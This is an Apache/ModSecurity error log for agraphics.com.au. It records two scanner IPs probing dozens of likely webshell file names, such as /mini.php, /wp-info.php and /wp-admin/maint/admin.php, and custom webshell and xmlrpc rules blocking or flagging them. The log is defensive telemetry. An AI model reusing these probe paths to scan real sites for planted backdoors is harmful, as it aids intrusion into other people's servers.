[Sat Apr 11 21:43:14.850492 2026] [:error] [pid 42219:tid 42236] [client 20.215.64.75:10857] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jp.php"] [unique_id "adpP8g-4IkVbTQx_J-2CAQAAAI0"]
[Sat Apr 11 21:43:15.355965 2026] [:error] [pid 42219:tid 42223] [client 20.215.64.75:10758] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jp.php"] [unique_id "adpP8w-4IkVbTQx_J-2CAwAAAIA"]
[Sat Apr 11 21:43:15.863895 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:10795] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jp.php"] [unique_id "adpP802gt0pb_0-cc6mITgAAAFM"]
[Sat Apr 11 21:43:16.378155 2026] [:error] [pid 42219:tid 42241] [client 20.215.64.75:10864] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jp.php"] [unique_id "adpP9A-4IkVbTQx_J-2CBAAAAJI"]
[Sat Apr 11 21:43:16.888142 2026] [:error] [pid 42221:tid 42294] [client 20.215.64.75:10992] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/chosen.php"] [unique_id "adpP9E2gt0pb_0-cc6mIUwAAAFA"]
[Sat Apr 11 21:43:17.392457 2026] [:error] [pid 42313:tid 42323] [client 20.215.64.75:10754] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/chosen.php"] [unique_id "adpP9V2P8TxdbaN018Iw9QAAAAc"]
[Sat Apr 11 21:43:17.897510 2026] [:error] [pid 42313:tid 42317] [client 20.215.64.75:10806] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/chosen.php"] [unique_id "adpP9V2P8TxdbaN018Iw9wAAAAE"]
[Sat Apr 11 21:43:18.401856 2026] [:error] [pid 42313:tid 42339] [client 20.215.64.75:10691] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/chosen.php"] [unique_id "adpP9l2P8TxdbaN018Iw_AAAABc"]
[Sat Apr 11 23:09:24.744887 2026] [:error] [pid 52608:tid 52614] [client 43.245.86.40:25667] [client 43.245.86.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.245.86.40, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adpkJCY5wH-BLt5QEKhqOQAAAQM"]
[Sat Apr 11 23:09:24.758314 2026] [proxy_fcgi:error] [pid 52608:tid 52614] [client 43.245.86.40:25667] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:18.353523 2026] [proxy_fcgi:error] [pid 25329:tid 25415] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:18.601853 2026] [proxy_fcgi:error] [pid 25329:tid 25406] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:18.841107 2026] [proxy_fcgi:error] [pid 25329:tid 25393] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:19.313578 2026] [proxy_fcgi:error] [pid 25329:tid 25374] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:19.550102 2026] [proxy_fcgi:error] [pid 25329:tid 25381] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:19.786854 2026] [proxy_fcgi:error] [pid 25329:tid 25402] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:20.023520 2026] [proxy_fcgi:error] [pid 25329:tid 25376] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:20.260144 2026] [proxy_fcgi:error] [pid 25329:tid 25412] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:20.496600 2026] [proxy_fcgi:error] [pid 25329:tid 25407] [client 20.203.155.254:30311] AH01071: Got error 'Primary script unknown'
[Sun Apr 12 05:19:20.729735 2026] [:error] [pid 25329:tid 25395] [client 20.203.155.254:30311] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "adq62GdcIYsS8Iyaj10rMwAAAIs"]
[Sun Apr 12 05:19:21.193009 2026] [:error] [pid 25328:tid 25368] [client 20.203.155.254:29935] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "adq62cxUaQZxT-e0YsDUxAAAAEQ"]
[Sun Apr 12 05:19:21.656056 2026] [:error] [pid 25328:tid 25408] [client 20.203.155.254:56968] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "adq62cxUaQZxT-e0YsDUxgAAAFg"]
[Sun Apr 12 05:19:22.119897 2026] [:error] [pid 25327:tid 25342] [client 20.203.155.254:56996] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "adq62i6h2tZEVJo9JFI-igAAAAY"]
[Sun Apr 12 05:19:22.585127 2026] [:error] [pid 26567:tid 26575] [client 20.203.155.254:48824] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adq62nhRpg6ptWFyFx33PAAAAQY"]
[Sun Apr 12 05:19:23.051345 2026] [:error] [pid 26567:tid 26583] [client 20.203.155.254:28782] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adq623hRpg6ptWFyFx33PwAAAQ4"]
[Sun Apr 12 05:19:23.519692 2026] [:error] [pid 60280:tid 60283] [client 20.203.155.254:3058] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adq623BlLnDOYuIykkjWAAAAAcE"]
[Sun Apr 12 05:19:23.987463 2026] [:error] [pid 26567:tid 26592] [client 20.203.155.254:28782] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "adq623hRpg6ptWFyFx33QgAAARc"]
[Sun Apr 12 05:19:24.454536 2026] [:error] [pid 25329:tid 25413] [client 20.203.155.254:48808] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "adq63GdcIYsS8Iyaj10rNQAAAJY"]
[Sun Apr 12 05:19:24.917962 2026] [:error] [pid 26599:tid 26616] [client 20.203.155.254:14060] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "adq63HG89LXoQbk_rwA1UgAAAU4"]
[Sun Apr 12 05:19:25.380176 2026] [:error] [pid 60280:tid 60292] [client 20.203.155.254:19065] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "adq63XBlLnDOYuIykkjWBwAAAco"]
[Sun Apr 12 05:19:25.846795 2026] [:error] [pid 25327:tid 25350] [client 20.203.155.254:50627] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "adq63S6h2tZEVJo9JFI-jwAAAA4"]
[Sun Apr 12 05:19:26.310943 2026] [:error] [pid 60280:tid 60304] [client 20.203.155.254:49188] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery.php"] [unique_id "adq63nBlLnDOYuIykkjWCQAAAdY"]
[Sun Apr 12 05:19:26.774801 2026] [:error] [pid 25329:tid 25414] [client 20.203.155.254:26415] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery.php"] [unique_id "adq63mdcIYsS8Iyaj10rOAAAAJc"]
[Sun Apr 12 05:19:27.246325 2026] [:error] [pid 60280:tid 60306] [client 20.203.155.254:26429] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery.php"] [unique_id "adq633BlLnDOYuIykkjWDAAAAdg"]
[Sun Apr 12 05:19:27.713748 2026] [:error] [pid 26599:tid 26625] [client 20.203.155.254:28771] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jquery.php"] [unique_id "adq633G89LXoQbk_rwA1VAAAAVc"]
[Sun Apr 12 05:19:28.181783 2026] [:error] [pid 26599:tid 26608] [client 20.203.155.254:14350] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "adq64HG89LXoQbk_rwA1VQAAAUY"]
[Sun Apr 12 05:19:28.656551 2026] [:error] [pid 26599:tid 26619] [client 20.203.155.254:48786] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "adq64HG89LXoQbk_rwA1VgAAAVE"]
[Sun Apr 12 05:19:29.122548 2026] [:error] [pid 60280:tid 60298] [client 20.203.155.254:19029] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "adq64XBlLnDOYuIykkjWDQAAAdA"]
[Sun Apr 12 05:19:29.593121 2026] [:error] [pid 25437:tid 25457] [client 20.203.155.254:56470] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "adq64Xf97wYZje1ep_NNuwAAANI"]
[Sun Apr 12 05:19:30.069435 2026] [:error] [pid 60280:tid 60301] [client 20.203.155.254:19020] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adq64nBlLnDOYuIykkjWDgAAAdM"]
[Sun Apr 12 05:19:30.538895 2026] [:error] [pid 26600:tid 26646] [client 20.203.155.254:14077] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adq64u1YwAZiXhQKLYpxTQAAAZE"]
[Sun Apr 12 05:19:31.005034 2026] [:error] [pid 26600:tid 26635] [client 20.203.155.254:3022] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adq64-1YwAZiXhQKLYpxTgAAAYY"]
[Sun Apr 12 05:19:31.478793 2026] [:error] [pid 26600:tid 26647] [client 20.203.155.254:28748] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adq64-1YwAZiXhQKLYpxTwAAAZI"]
[Sun Apr 12 05:19:31.966504 2026] [:error] [pid 26600:tid 26649] [client 20.203.155.254:50675] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "adq64-1YwAZiXhQKLYpxUQAAAZQ"]
[Sun Apr 12 05:19:32.432734 2026] [:error] [pid 26600:tid 26632] [client 20.203.155.254:3060] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "adq65O1YwAZiXhQKLYpxUgAAAYM"]
[Sun Apr 12 05:19:32.893980 2026] [:error] [pid 25437:tid 25440] [client 20.203.155.254:19027] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "adq65Hf97wYZje1ep_NNxwAAAME"]
[Sun Apr 12 05:19:33.358680 2026] [:error] [pid 25437:tid 25458] [client 20.203.155.254:14037] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "adq65Xf97wYZje1ep_NNyQAAANM"]
[Sun Apr 12 05:19:33.860078 2026] [:error] [pid 26599:tid 26607] [client 20.203.155.254:50658] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "adq65XG89LXoQbk_rwA1VwAAAUU"]
[Sun Apr 12 05:19:34.331001 2026] [:error] [pid 60280:tid 60294] [client 20.203.155.254:56990] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "adq65nBlLnDOYuIykkjWDwAAAcw"]
[Sun Apr 12 05:19:34.814685 2026] [:error] [pid 26599:tid 26624] [client 20.203.155.254:14336] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "adq65nG89LXoQbk_rwA1YAAAAVY"]
[Sun Apr 12 05:19:35.285489 2026] [:error] [pid 60280:tid 60288] [client 20.203.155.254:56973] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "adq653BlLnDOYuIykkjWEAAAAcY"]
[Sun Apr 12 05:19:35.748396 2026] [:error] [pid 25437:tid 25451] [client 20.203.155.254:3055] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-info.php"] [unique_id "adq653f97wYZje1ep_NNzQAAAMw"]
[Sun Apr 12 05:19:36.216123 2026] [:error] [pid 25329:tid 25393] [client 20.203.155.254:29932] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-info.php"] [unique_id "adq66GdcIYsS8Iyaj10rQwAAAIo"]
[Sun Apr 12 05:19:36.687757 2026] [:error] [pid 60280:tid 60300] [client 20.203.155.254:28787] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-info.php"] [unique_id "adq66HBlLnDOYuIykkjWEgAAAdI"]
[Sun Apr 12 05:19:37.170425 2026] [:error] [pid 26599:tid 26611] [client 20.203.155.254:10207] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-info.php"] [unique_id "adq66XG89LXoQbk_rwA1bwAAAUk"]
[Sun Apr 12 05:19:37.636940 2026] [:error] [pid 25328:tid 25369] [client 20.203.155.254:3049] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "adq66cxUaQZxT-e0YsDUywAAAEU"]
[Sun Apr 12 05:19:38.102519 2026] [:error] [pid 60280:tid 60284] [client 20.203.155.254:19022] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "adq66nBlLnDOYuIykkjWEwAAAcI"]
[Sun Apr 12 05:19:38.573542 2026] [:error] [pid 25328:tid 25380] [client 20.203.155.254:28758] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "adq66sxUaQZxT-e0YsDU0AAAAEw"]
[Sun Apr 12 05:19:39.037802 2026] [:error] [pid 25328:tid 25377] [client 20.203.155.254:2500] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "adq668xUaQZxT-e0YsDU0gAAAEo"]
[Sun Apr 12 05:19:39.529189 2026] [:error] [pid 26600:tid 26646] [client 20.203.155.254:3063] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "adq66-1YwAZiXhQKLYpxYgAAAZE"]
[Sun Apr 12 05:19:40.005364 2026] [:error] [pid 26600:tid 26652] [client 20.203.155.254:10220] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "adq67O1YwAZiXhQKLYpxZQAAAZc"]
[Sun Apr 12 05:19:40.474305 2026] [:error] [pid 25437:tid 25452] [client 20.203.155.254:27360] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "adq67Hf97wYZje1ep_NNzgAAAM0"]
[Sun Apr 12 05:19:40.950798 2026] [:error] [pid 25328:tid 25403] [client 20.203.155.254:14346] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "adq67MxUaQZxT-e0YsDU2QAAAFY"]
[Sun Apr 12 05:19:41.433744 2026] [:error] [pid 26567:tid 26571] [client 20.203.155.254:20165] [client 20.203.155.254] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "adq67XhRpg6ptWFyFx33RwAAAQI"]
